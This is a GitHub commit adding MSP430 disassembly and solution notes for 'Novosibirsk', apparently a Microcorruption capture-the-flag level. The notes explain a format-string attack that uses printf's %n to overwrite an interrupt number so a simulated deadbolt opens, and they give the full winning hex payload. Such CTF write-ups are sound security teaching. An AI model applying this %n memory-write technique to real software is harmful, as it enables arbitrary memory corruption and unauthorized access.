Skip to content

Commit 950b1a1

Browse files
dagnirdagnir
committed
Add notes for Novosibirsk.
1 parent e4fe16e commit 950b1a1

File tree

2 files changed

+295
-0
lines changed

2 files changed

+295
-0
lines changed

‎novosibirsk/disassembly.asm

+278
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,278 @@
1+
0010 <__trap_interrupt>
2+
0010: 3041 ret
3+
4400 <__init_stack>
4+
4400: 3140 0044 mov #0x4400, sp
5+
4404 <__low_level_init>
6+
4404: 1542 5c01 mov &0x015c, r5
7+
4408: 75f3 and.b #-0x1, r5
8+
440a: 35d0 085a bis #0x5a08, r5
9+
440e <__do_copy_data>
10+
440e: 3f40 0000 clr r15
11+
4412: 0f93 tst r15
12+
4414: 0724 jz #0x4424 <__do_clear_bss+0x0>
13+
4416: 8245 5c01 mov r5, &0x015c
14+
441a: 2f83 decd r15
15+
441c: 9f4f f246 0024 mov 0x46f2(r15), 0x2400(r15)
16+
4422: f923 jnz #0x4416 <__do_copy_data+0x8>
17+
4424 <__do_clear_bss>
18+
4424: 3f40 f401 mov #0x1f4, r15
19+
4428: 0f93 tst r15
20+
442a: 0624 jz #0x4438 <main+0x0>
21+
442c: 8245 5c01 mov r5, &0x015c
22+
4430: 1f83 dec r15
23+
4432: cf43 0024 mov.b #0x0, 0x2400(r15)
24+
4436: fa23 jnz #0x442c <__do_clear_bss+0x8>
25+
4438 <main>
26+
4438: 0441 mov sp, r4
27+
443a: 2453 incd r4
28+
443c: 3150 0cfe add #0xfe0c, sp
29+
4440: 3012 da44 push #0x44da "Enter your username below to authenticate.\n"
30+
4444: b012 c645 call #0x45c6 <printf>
31+
4448: b140 0645 0000 mov #0x4506 ">> ", 0x0(sp)
32+
444e: b012 c645 call #0x45c6 <printf>
33+
4452: 2153 incd sp
34+
4454: 3e40 f401 mov #0x1f4, r14
35+
4458: 3f40 0024 mov #0x2400, r15
36+
445c: b012 8a45 call #0x458a <getsn>
37+
4460: 3e40 0024 mov #0x2400, r14
38+
4464: 0f44 mov r4, r15
39+
4466: 3f50 0afe add #0xfe0a, r15
40+
446a: b012 dc46 call #0x46dc <strcpy>
41+
446e: 3f40 0afe mov #0xfe0a, r15
42+
4472: 0f54 add r4, r15
43+
4474: 0f12 push r15
44+
4476: b012 c645 call #0x45c6 <printf>
45+
447a: 2153 incd sp
46+
447c: 3f40 0a00 mov #0xa, r15
47+
4480: b012 4e45 call #0x454e <putchar>
48+
4484: 0f44 mov r4, r15
49+
4486: 3f50 0afe add #0xfe0a, r15
50+
448a: b012 b044 call #0x44b0 <conditional_unlock_door>
51+
448e: 0f93 tst r15
52+
4490: 0324 jz #0x4498 <main+0x60>
53+
4492: 3012 0a45 push #0x450a "Access Granted!"
54+
4496: 023c jmp #0x449c <main+0x64>
55+
4498: 3012 1a45 push #0x451a "That username is not valid."
56+
449c: b012 c645 call #0x45c6 <printf>
57+
44a0: 0f43 clr r15
58+
44a2: 3150 f601 add #0x1f6, sp
59+
44a6 <__stop_progExec__>
60+
44a6: 32d0 f000 bis #0xf0, sr
61+
44aa: fd3f jmp #0x44a6 <__stop_progExec__+0x0>
62+
44ac <__ctors_end>
63+
44ac: 3040 f046 br #0x46f0 <_unexpected_>
64+
44b0 <conditional_unlock_door>
65+
44b0: 0412 push r4
66+
44b2: 0441 mov sp, r4
67+
44b4: 2453 incd r4
68+
44b6: 2183 decd sp
69+
44b8: c443 fcff mov.b #0x0, -0x4(r4)
70+
44bc: 3e40 fcff mov #0xfffc, r14
71+
44c0: 0e54 add r4, r14
72+
44c2: 0e12 push r14
73+
44c4: 0f12 push r15
74+
44c6: 3012 7e00 push #0x7e
75+
44ca: b012 3645 call #0x4536 <INT>
76+
44ce: 5f44 fcff mov.b -0x4(r4), r15
77+
44d2: 8f11 sxt r15
78+
44d4: 3152 add #0x8, sp
79+
44d6: 3441 pop r4
80+
44d8: 3041 ret
81+
44da .strings:
82+
44da: "Enter your username below to authenticate.\n"
83+
4506: ">> "
84+
450a: "Access Granted!"
85+
451a: "That username is not valid."
86+
4536 <INT>
87+
4536: 1e41 0200 mov 0x2(sp), r14
88+
453a: 0212 push sr
89+
453c: 0f4e mov r14, r15
90+
453e: 8f10 swpb r15
91+
4540: 024f mov r15, sr
92+
4542: 32d0 0080 bis #0x8000, sr
93+
4546: b012 1000 call #0x10
94+
454a: 3241 pop sr
95+
454c: 3041 ret
96+
454e <putchar>
97+
454e: 2183 decd sp
98+
4550: 0f12 push r15
99+
4552: 0312 push #0x0
100+
4554: 814f 0400 mov r15, 0x4(sp)
101+
4558: b012 3645 call #0x4536 <INT>
102+
455c: 1f41 0400 mov 0x4(sp), r15
103+
4560: 3150 0600 add #0x6, sp
104+
4564: 3041 ret
105+
4566 <getchar>
106+
4566: 0412 push r4
107+
4568: 0441 mov sp, r4
108+
456a: 2453 incd r4
109+
456c: 2183 decd sp
110+
456e: 3f40 fcff mov #0xfffc, r15
111+
4572: 0f54 add r4, r15
112+
4574: 0f12 push r15
113+
4576: 1312 push #0x1
114+
4578: b012 3645 call #0x4536 <INT>
115+
457c: 5f44 fcff mov.b -0x4(r4), r15
116+
4580: 8f11 sxt r15
117+
4582: 3150 0600 add #0x6, sp
118+
4586: 3441 pop r4
119+
4588: 3041 ret
120+
458a <getsn>
121+
458a: 0e12 push r14
122+
458c: 0f12 push r15
123+
458e: 2312 push #0x2
124+
4590: b012 3645 call #0x4536 <INT>
125+
4594: 3150 0600 add #0x6, sp
126+
4598: 3041 ret
127+
459a <puts>
128+
459a: 0b12 push r11
129+
459c: 0b4f mov r15, r11
130+
459e: 073c jmp #0x45ae <puts+0x14>
131+
45a0: 1b53 inc r11
132+
45a2: 8f11 sxt r15
133+
45a4: 0f12 push r15
134+
45a6: 0312 push #0x0
135+
45a8: b012 3645 call #0x4536 <INT>
136+
45ac: 2152 add #0x4, sp
137+
45ae: 6f4b mov.b @r11, r15
138+
45b0: 4f93 tst.b r15
139+
45b2: f623 jnz #0x45a0 <puts+0x6>
140+
45b4: 3012 0a00 push #0xa
141+
45b8: 0312 push #0x0
142+
45ba: b012 3645 call #0x4536 <INT>
143+
45be: 2152 add #0x4, sp
144+
45c0: 0f43 clr r15
145+
45c2: 3b41 pop r11
146+
45c4: 3041 ret
147+
45c6 <printf>
148+
45c6: 0b12 push r11
149+
45c8: 0a12 push r10
150+
45ca: 0912 push r9
151+
45cc: 0812 push r8
152+
45ce: 0712 push r7
153+
45d0: 0412 push r4
154+
45d2: 0441 mov sp, r4
155+
45d4: 3450 0c00 add #0xc, r4
156+
45d8: 2183 decd sp
157+
45da: 1b44 0200 mov 0x2(r4), r11
158+
45de: 8441 f2ff mov sp, -0xe(r4)
159+
45e2: 0f4b mov r11, r15
160+
45e4: 0e43 clr r14
161+
45e6: 0b3c jmp #0x45fe <printf+0x38>
162+
45e8: 1f53 inc r15
163+
45ea: 7d90 2500 cmp.b #0x25, r13
164+
45ee: 0720 jne #0x45fe <printf+0x38>
165+
45f0: 6d9f cmp.b @r15, r13
166+
45f2: 0320 jne #0x45fa <printf+0x34>
167+
45f4: 1f53 inc r15
168+
45f6: 0d43 clr r13
169+
45f8: 013c jmp #0x45fc <printf+0x36>
170+
45fa: 1d43 mov #0x1, r13
171+
45fc: 0e5d add r13, r14
172+
45fe: 6d4f mov.b @r15, r13
173+
4600: 4d93 tst.b r13
174+
4602: f223 jnz #0x45e8 <printf+0x22>
175+
4604: 0f4e mov r14, r15
176+
4606: 0f5f add r15, r15
177+
4608: 2f53 incd r15
178+
460a: 018f sub r15, sp
179+
460c: 0941 mov sp, r9
180+
460e: 0c44 mov r4, r12
181+
4610: 2c52 add #0x4, r12
182+
4612: 0f41 mov sp, r15
183+
4614: 0d43 clr r13
184+
4616: 053c jmp #0x4622 <printf+0x5c>
185+
4618: af4c 0000 mov @r12, 0x0(r15)
186+
461c: 1d53 inc r13
187+
461e: 2f53 incd r15
188+
4620: 2c53 incd r12
189+
4622: 0d9e cmp r14, r13
190+
4624: f93b jl #0x4618 <printf+0x52>
191+
4626: 0a43 clr r10
192+
4628: 3740 0900 mov #0x9, r7
193+
462c: 4a3c jmp #0x46c2 <printf+0xfc>
194+
462e: 084b mov r11, r8
195+
4630: 1853 inc r8
196+
4632: 7f90 2500 cmp.b #0x25, r15
197+
4636: 0624 jeq #0x4644 <printf+0x7e>
198+
4638: 1a53 inc r10
199+
463a: 0b48 mov r8, r11
200+
463c: 8f11 sxt r15
201+
463e: b012 4e45 call #0x454e <putchar>
202+
4642: 3f3c jmp #0x46c2 <printf+0xfc>
203+
4644: 6e48 mov.b @r8, r14
204+
4646: 4e9f cmp.b r15, r14
205+
4648: 0620 jne #0x4656 <printf+0x90>
206+
464a: 1a53 inc r10
207+
464c: 3f40 2500 mov #0x25, r15
208+
4650: b012 4e45 call #0x454e <putchar>
209+
4654: 333c jmp #0x46bc <printf+0xf6>
210+
4656: 7e90 7300 cmp.b #0x73, r14
211+
465a: 0b20 jne #0x4672 <printf+0xac>
212+
465c: 2b49 mov @r9, r11
213+
465e: 053c jmp #0x466a <printf+0xa4>
214+
4660: 1a53 inc r10
215+
4662: 1b53 inc r11
216+
4664: 8f11 sxt r15
217+
4666: b012 4e45 call #0x454e <putchar>
218+
466a: 6f4b mov.b @r11, r15
219+
466c: 4f93 tst.b r15
220+
466e: f823 jnz #0x4660 <printf+0x9a>
221+
4670: 253c jmp #0x46bc <printf+0xf6>
222+
4672: 7e90 7800 cmp.b #0x78, r14
223+
4676: 1c20 jne #0x46b0 <printf+0xea>
224+
4678: 2b49 mov @r9, r11
225+
467a: 173c jmp #0x46aa <printf+0xe4>
226+
467c: 0f4b mov r11, r15
227+
467e: 8f10 swpb r15
228+
4680: 3ff0 ff00 and #0xff, r15
229+
4684: 12c3 clrc
230+
4686: 0f10 rrc r15
231+
4688: 0f11 rra r15
232+
468a: 0f11 rra r15
233+
468c: 0f11 rra r15
234+
468e: 1a53 inc r10
235+
4690: 079f cmp r15, r7
236+
4692: 0338 jl #0x469a <printf+0xd4>
237+
4694: 3f50 3000 add #0x30, r15
238+
4698: 023c jmp #0x469e <printf+0xd8>
239+
469a: 3f50 5700 add #0x57, r15
240+
469e: b012 4e45 call #0x454e <putchar>
241+
46a2: 0b5b add r11, r11
242+
46a4: 0b5b add r11, r11
243+
46a6: 0b5b add r11, r11
244+
46a8: 0b5b add r11, r11
245+
46aa: 0b93 tst r11
246+
46ac: e723 jnz #0x467c <printf+0xb6>
247+
46ae: 063c jmp #0x46bc <printf+0xf6>
248+
46b0: 7e90 6e00 cmp.b #0x6e, r14
249+
46b4: 0320 jne #0x46bc <printf+0xf6>
250+
46b6: 2f49 mov @r9, r15
251+
46b8: 8f4a 0000 mov r10, 0x0(r15)
252+
46bc: 2953 incd r9
253+
46be: 0b48 mov r8, r11
254+
46c0: 1b53 inc r11
255+
46c2: 6f4b mov.b @r11, r15
256+
46c4: 4f93 tst.b r15
257+
46c6: b323 jnz #0x462e <printf+0x68>
258+
46c8: 1144 f2ff mov -0xe(r4), sp
259+
46cc: 2153 incd sp
260+
46ce: 3441 pop r4
261+
46d0: 3741 pop r7
262+
46d2: 3841 pop r8
263+
46d4: 3941 pop r9
264+
46d6: 3a41 pop r10
265+
46d8: 3b41 pop r11
266+
46da: 3041 ret
267+
46dc <strcpy>
268+
46dc: 0d4f mov r15, r13
269+
46de: 023c jmp #0x46e4 <strcpy+0x8>
270+
46e0: 1e53 inc r14
271+
46e2: 1d53 inc r13
272+
46e4: 6c4e mov.b @r14, r12
273+
46e6: cd4c 0000 mov.b r12, 0x0(r13)
274+
46ea: 4c93 tst.b r12
275+
46ec: f923 jnz #0x46e0 <strcpy+0x4>
276+
46ee: 3041 ret
277+
46f0 <_unexpected_>
278+
46f0: 0013 reti pc

‎novosibirsk/notes.md

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#Novosibirsk
2+
---
3+
4+
- `main` does not delegate to a login function
5+
- `main` reserves 500 bytes of stack space
6+
- buffer starts at address 420c
7+
- Interestingly, we're asked for a username to authenticate, not a password
8+
- uses the `HSM-2`; this one controls the deadbolt
9+
- `getsn` used for user input, given a max length of 500; no opportunity to overflow buffer
10+
- `printf` is used to echo username back to user; again the raw buffer used as format
11+
- method `conditional_unlock_door` is called to pass the username to the HSM-2 via interrupt
12+
13+
# Plan of attack
14+
---
15+
Let's try overwrite the interrupt number `conditional_unlock_door` calls. Right now it calls `0x7e` for HSM-2, let's try to change to `0x7f`, which triggers deadbolt. Our only option of overwriting anything in memory is to use `printf`. We can use `%n` flag to write in order to write something back to memory, and since we want to write the value `0x7f`, we need to to get `printf` to `0x7f` of 127 characters before it encounters the `%n` flag. Our buffer will begin with the 2-byte address that we want the write to go to, and that will be location `0x44c8`, which is where the value `0x7e` currently is, and we want it to be `0x7f`. That's two bytes, so 125 left. We can fill it with pretty much anything except for `0` because `strcpy` will stop copying once it sees one. Then finally the `%n` to tell `printf` to write the numbers of characters printed to a location in memory. When `conditional_unlock_door` is subsequently called, it won't be interacting with the HSM at all, and instead just calling the "open deadbolt" interrupt.
16+
17+
winning input: c8446565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565256e

0 commit comments

Comments
 (0)